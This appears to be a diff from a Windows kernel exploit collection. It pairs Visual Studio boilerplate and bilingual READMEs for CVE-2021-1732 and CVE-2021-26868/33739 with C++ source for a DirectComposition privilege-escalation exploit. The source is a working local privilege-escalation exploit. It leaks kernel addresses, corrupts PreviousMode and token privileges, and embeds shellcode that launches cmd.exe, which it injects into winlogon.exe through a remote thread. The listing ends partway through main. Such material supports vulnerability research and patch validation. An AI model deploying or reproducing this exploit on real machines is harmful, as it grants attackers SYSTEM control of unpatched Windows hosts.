这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。
ExploitTest.cpp
这是主应用程序源文件。
/////////////////////////////////////////////////////////////////////////////
其他标准文件:
StdAfx.h, StdAfx.cpp
这些文件用于生成名为 ExploitTest.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。
/////////////////////////////////////////////////////////////////////////////
其他注释:
应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。
/////////////////////////////////////////////////////////////////////////////

View File

@ -0,0 +1,8 @@
// stdafx.cpp : 只包括标准包含文件的源文件
// ExploitTest.pch 将作为预编译头
// stdafx.obj 将包含预编译类型信息
#include "stdafx.h"
// TODO: 在 STDAFX.H 中
// 引用任何所需的附加头文件,而不是在此文件中引用

View File

@ -0,0 +1,15 @@
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: 在此处引用程序需要的其他头文件

View File

@ -0,0 +1,8 @@
#pragma once
// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h并将
// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
#include <SDKDDKVer.h>

View File

@ -0,0 +1,47 @@
### CVE-2021-1732
#### 描述
Win32k 权限提升漏洞
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | 2004 | | |
| Windows 10 | x64/x86/ARM64 | 1909 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 1809 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 1803 | | |
| Windows 10 | x64/x86/ARM64 | | | |
| Windows Server 2019 | | | | |
| Windows Server | | 1909 | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732
```
#### 利用方式
编译环境
- VS2019V120X64 Debug
这里测试机器是Windows 10 1909 x64上GIF图
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-1732_windows_10_1909_x64.gif)
#### 分析文章
- https://www.freebuf.com/vuls/270295.html
- https://021w.github.io/2021/03/12/CVE-2021-1732Win32kfull-sys%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- https://laptrinhx.com/shen-ru-pou-xicve-2021-1732lou-dong-1153028117/
- https://bbs.pediy.com/thread-266362.htm
- https://www.secrss.com/articles/29758
#### 代码来源
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-1732-Exploit)

View File

@ -0,0 +1,48 @@
### CVE-2021-1732
#### Describe
Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1698.
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | 2004 | | |
| Windows 10 | x64/x86/ARM64 | 1909 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 1809 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 1803 | | |
| Windows 10 | x64/x86/ARM64 | | | |
| Windows Server 2019 | | | | |
| Windows Server | | 1909 | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732
```
#### Utilization
CompilerEnvironment
- VS2019V120X64 Debug
Here the test machine is Windows 10 1909 x64
![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-1732_windows_10_1909_x64.gif)
#### Analyze
- https://www.freebuf.com/vuls/270295.html
- https://021w.github.io/2021/03/12/CVE-2021-1732Win32kfull-sys%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- https://laptrinhx.com/shen-ru-pou-xicve-2021-1732lou-dong-1153028117/
- https://bbs.pediy.com/thread-266362.htm
- https://www.secrss.com/articles/29758
#### ProjectSource
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-1732-Exploit)

View File

@ -0,0 +1,47 @@
### CVE-2021-26868
#### 描述
Windows图形组件权限漏洞的提升
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86 | 1607 | | |
| Windows 10 | x64/x86/ARM64 | 1803 | | |
| Windows 10 | x64/x86/ARM64 | 1809 | | |
| Windows 10 | x64/x86/ARM64 | 1909 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 2004 | | |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | | | |
| Windows 8.1 | x64/x86 | | | |
| Windows RT 8.1 | | | | |
| Windows Server 2012 | | | | |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server | | 1909 | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26868
```
#### 利用方式
编译环境
- VS2019V142X64 Release
- VS2019V142X86 Release
测试系统Windows 10 1909 X64
![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif)
#### 代码来源
- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC)

View File

@ -0,0 +1,48 @@
### CVE-2021-26868
#### Describe
Windows Graphics Component Elevation of Privilege Vulnerability
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10 | x64/x86 | 1607 | | |
| Windows 10 | x64/x86/ARM64 | 1803 | | |
| Windows 10 | x64/x86/ARM64 | 1809 | | |
| Windows 10 | x64/x86/ARM64 | 1909 | | &#10004; |
| Windows 10 | x64/x86/ARM64 | 2004 | | |
| Windows 10 | x64/x86/ARM64 | 20H2 | | |
| Windows 10 | x64/x86/ARM64 | | | |
| Windows 8.1 | x64/x86 | | | |
| Windows RT 8.1 | | | | |
| Windows Server 2012 | | | | |
| Windows Server 2012 | | R2 | | |
| Windows Server 2016 | | | | |
| Windows Server 2019 | | | | |
| Windows Server | | 1909 | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26868
```
#### Utilization
CompilerEnvironment
- VS2019V142X64 Release
- VS2019V142X86 Release
Test system Windows 10 1909 X64
![CVE-2021-26868&CVE-2021-33739_win10_1909_x64](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-26868&CVE-2021-33739_win10_1909_x64.gif)
#### ProjectSource
- [mavillon1](https://github.com/mavillon1/CVE-2021-33739-POC)

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.1062
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exp", "exp\exp.vcxproj", "{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.ActiveCfg = Debug|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x64.Build.0 = Debug|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.ActiveCfg = Debug|Win32
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Debug|x86.Build.0 = Debug|Win32
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.ActiveCfg = Release|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x64.Build.0 = Release|x64
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.ActiveCfg = Release|Win32
{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {95E87A53-C105-414E-8786-A0627CD97286}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,680 @@
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <strsafe.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <tlhelp32.h>
#include "ntos.h"
#pragma comment(lib, "ntdll.lib")
enum DCPROCESSCOMMANDID
{
nCmdProcessCommandBufferIterator,
nCmdCreateResource,
nCmdOpenSharedResource,
nCmdReleaseResource,
nCmdGetAnimationTime,
nCmdCapturePointer,
nCmdOpenSharedResourceHandle,
nCmdSetResourceCallbackId,
nCmdSetResourceIntegerProperty,
nCmdSetResourceFloatProperty,
nCmdSetResourceHandleProperty,
nCmdSetResourceHandleArrayProperty,
nCmdSetResourceBufferProperty,
nCmdSetResourceReferenceProperty,
nCmdSetResourceReferenceArrayProperty,
nCmdSetResourceAnimationProperty,
nCmdSetResourceDeletedNotificationTag,
nCmdAddVisualChild,
nCmdRedirectMouseToHwnd,
nCmdSetVisualInputSink,
nCmdRemoveVisualChild
};
typedef
NTSTATUS
(NTAPI *_NtDCompositionCreateChannel)(
OUT PHANDLE pArgChannelHandle,
IN OUT PSIZE_T pArgSectionSize,
OUT PVOID* pArgSectionBaseMapInProcess
);
typedef
NTSTATUS
(NTAPI* _NtDCompositionDestroyChannel)(
IN HANDLE ChannelHandle
);
typedef
NTSTATUS
(NTAPI *_NtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2);
typedef
NTSTATUS
(NTAPI* _NtDCompositionCommitChannel)(
IN HANDLE hChannel,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2,
IN DWORD flag,
IN HANDLE Object);
typedef
NTSTATUS
(NTAPI* _NtDCompositionCreateSynchronizationObject)(
void** a1
);
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
HANDLE ProcessHandle,
void* BaseAddress,
const void* SourceBuffer,
size_t Length,
size_t* BytesWritten);
typedef struct _EXPLOIT_CONTEXT {
PPEB pPeb;
_NtQuerySystemInformation fnNtQuerySystemInformation;
_NtWriteVirtualMemory fnNtWriteVirtualMemory;
HANDLE hCurProcessHandle;
HANDLE hCurThreadHandle;
DWORD64 dwKernelEprocessAddr;
DWORD64 dwKernelEthreadAddr;
DWORD previous_mode_offset;
DWORD win32_process_offset; // EPROCESS->Win32Process
DWORD GadgetAddrOffset;
DWORD ObjectSize;
}EXPLOIT_CONTEXT, * PEXPLOIT_CONTEXT;
PEXPLOIT_CONTEXT g_pExploitCtx;
SIZE_T GetObjectKernelAddress(PEXPLOIT_CONTEXT pCtx, HANDLE object)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
ULONG handleInfoSize = 0x1000;
ULONG retLength;
NTSTATUS status;
SIZE_T kernelAddress = 0;
BOOL bFind = FALSE;
while (TRUE)
{
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize = retLength + 0x100;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
status = pCtx->fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (NT_SUCCESS(status))
{
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
{
if ((USHORT)object == 0x4)
{
if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
else
{
if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
}
}
}
if (handleInfo)
LocalFree(handleInfo);
if (bFind)
break;
}
return kernelAddress;
}
void WriteMemory(void* dst, const void* src, size_t size)
{
size_t num_bytes_written;
g_pExploitCtx->fnNtWriteVirtualMemory(GetCurrentProcess(), dst, src, size, &num_bytes_written);
}
DWORD64 ReadPointer(void* address)
{
DWORD64 value;
WriteMemory(&value, address, sizeof(DWORD64));
return value;
}
void WritePointer(void* address, DWORD64 value)
{
WriteMemory(address, &value, sizeof(DWORD64));
}
BOOL InitEnvironment()
{
g_pExploitCtx = new EXPLOIT_CONTEXT;
g_pExploitCtx->fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
g_pExploitCtx->fnNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtWriteVirtualMemory");
g_pExploitCtx->pPeb = NtCurrentTeb()->ProcessEnvironmentBlock;
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &g_pExploitCtx->hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) ||
!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &g_pExploitCtx->hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS))
return FALSE;
g_pExploitCtx->dwKernelEprocessAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurProcessHandle);
g_pExploitCtx->dwKernelEthreadAddr = GetObjectKernelAddress(g_pExploitCtx, g_pExploitCtx->hCurThreadHandle);
if (g_pExploitCtx->pPeb->OSMajorVersion < 10)
{
return FALSE;
}
if (g_pExploitCtx->pPeb->OSBuildNumber < 17763 || g_pExploitCtx->pPeb->OSBuildNumber > 19042)
{
return FALSE;
}
switch (g_pExploitCtx->pPeb->OSBuildNumber)
{
case 18362:
case 18363:
g_pExploitCtx->win32_process_offset = 0x3b0;
g_pExploitCtx->previous_mode_offset = 0x232;
g_pExploitCtx->GadgetAddrOffset = 0x50;
g_pExploitCtx->ObjectSize = 0x1a0;
break;
case 19041:
case 19042:
g_pExploitCtx->win32_process_offset = 0x508;
g_pExploitCtx->previous_mode_offset = 0x232;
g_pExploitCtx->GadgetAddrOffset = 0x38;
g_pExploitCtx->ObjectSize = 0x1d0;
break;
default:
break;
}
return TRUE;
}
DWORD64 where;
HPALETTE createPaletteofSize1(int size) {
int pal_cnt = (size + 0x8c - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
memset(lPalette, 0xff, palsize);
p[0] = (DWORD64)0xffffffff;
p[3] = (DWORD64)0x04;
p[9] = g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset - 9 - 8;
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
HPALETTE createPaletteofSize2(int size) {
int pal_cnt = (size + 0x8c - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
memset(lPalette, 0xff, palsize);
p[0] = (DWORD64)0xffffffff;
p[3] = (DWORD64)0x04;
p[9] = where - 8 + 3;
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
static const unsigned int shellcode_len = 0x1000;
#define MAXIMUM_FILENAME_LENGTH 255
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
#define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset
HMODULE GetNOSModule()
{
HMODULE hKern = 0;
hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
return hKern;
}
DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error\n");
return 0;
}
for (unsigned int i = 0; i < buffer->NumberOfModules; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBase;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = g_pExploitCtx->fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
{
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
DWORD64 object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
HMODULE mod = GetNOSModule();
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
FreeLibrary(mod);
return returnValue;
}
DWORD64 PsGetCurrentCProcessData()
{
DWORD64 dwWin32ProcessAddr = ReadPointer((void*)( g_pExploitCtx->dwKernelEprocessAddr + g_pExploitCtx->win32_process_offset) );
return ReadPointer((void*)(dwWin32ProcessAddr + 0x100));
}
void RestoreStatus()
{
DWORD64 dwCGenericTableAddr = ReadPointer((void *)PsGetCurrentCProcessData());
WritePointer((void*)dwCGenericTableAddr, 0);
WritePointer((void*)( dwCGenericTableAddr + 8 ), 0);
WritePointer((void*)(dwCGenericTableAddr + 16), 0);
byte value = 1;
WriteMemory((void*)(g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset), &value, sizeof(byte));
}
int main(int argc, TCHAR* argv[])
{
HANDLE hChannel;
NTSTATUS ntStatus;
SIZE_T SectionSize = 0x500000;
PVOID pMappedAddress = NULL;
DWORD dwArg1, dwArg2;
if (!InitEnvironment()) {
printf("[-] Inappropriate Operating System\n");
return 0;
}
LoadLibrary(TEXT("user32"));
LPVOID pV = VirtualAlloc((LPVOID)0xffffffff, 0x100000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!pV)
{
printf("[-] Failed to allocate memory at address 0xffffffff, please try again!\n");
return 0;
}
DWORD64* Ptr = (DWORD64*)0xffffffff;
DWORD64 GadgetAddr = GetGadgetAddr("SeSetAccessStateGenericMapping");
//printf("[+] found SeSetAccessStateGenericMapping addr at: %p\n", (DWORD64)GadgetAddr);
memset(Ptr, 0xff, 0x1000);
*(DWORD64*)((DWORD64)Ptr + g_pExploitCtx->GadgetAddrOffset ) = GadgetAddr;
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}
DWORD64 ktoken = GetKernelPointer(token, 0x5);
where = ktoken + TOKEN_OFFSET;
_NtDCompositionCreateChannel NtDCompositionCreateChannel;
NtDCompositionCreateChannel = (_NtDCompositionCreateChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateChannel");
_NtDCompositionDestroyChannel NtDCompositionDestroyChannel;
NtDCompositionDestroyChannel = (_NtDCompositionDestroyChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionDestroyChannel");
_NtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
NtDCompositionProcessChannelBatchBuffer = (_NtDCompositionProcessChannelBatchBuffer)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionProcessChannelBatchBuffer");
_NtDCompositionCommitChannel NtDCompositionCommitChannel;
NtDCompositionCommitChannel = (_NtDCompositionCommitChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCommitChannel");
_NtDCompositionCreateSynchronizationObject NtDCompositionCreateSynchronizationObject;
NtDCompositionCreateSynchronizationObject = (_NtDCompositionCreateSynchronizationObject)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateSynchronizationObject");
void* p = 0;
ntStatus = NtDCompositionCreateSynchronizationObject(&p);
// create a new channel
ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
if (!NT_SUCCESS(ntStatus)) {
printf("Create channel error!\n");
return -1;
}
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x59; //DirectComposition::CInteractionTrackerBindingManagerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
//
// set argument of NtDCompositionProcessChannelBatchBuffer
//
DWORD* szBuff = (DWORD*)malloc(4 * 3);
szBuff[0] = 0x02;
szBuff[1] = 0x03;
szBuff[2] = 0xffff;
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); // CInteractionTrackerBindingManagerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
szBuff[0] = 0x02;
szBuff[1] = 0x03;
szBuff[2] = 0x0;
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1);
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2);
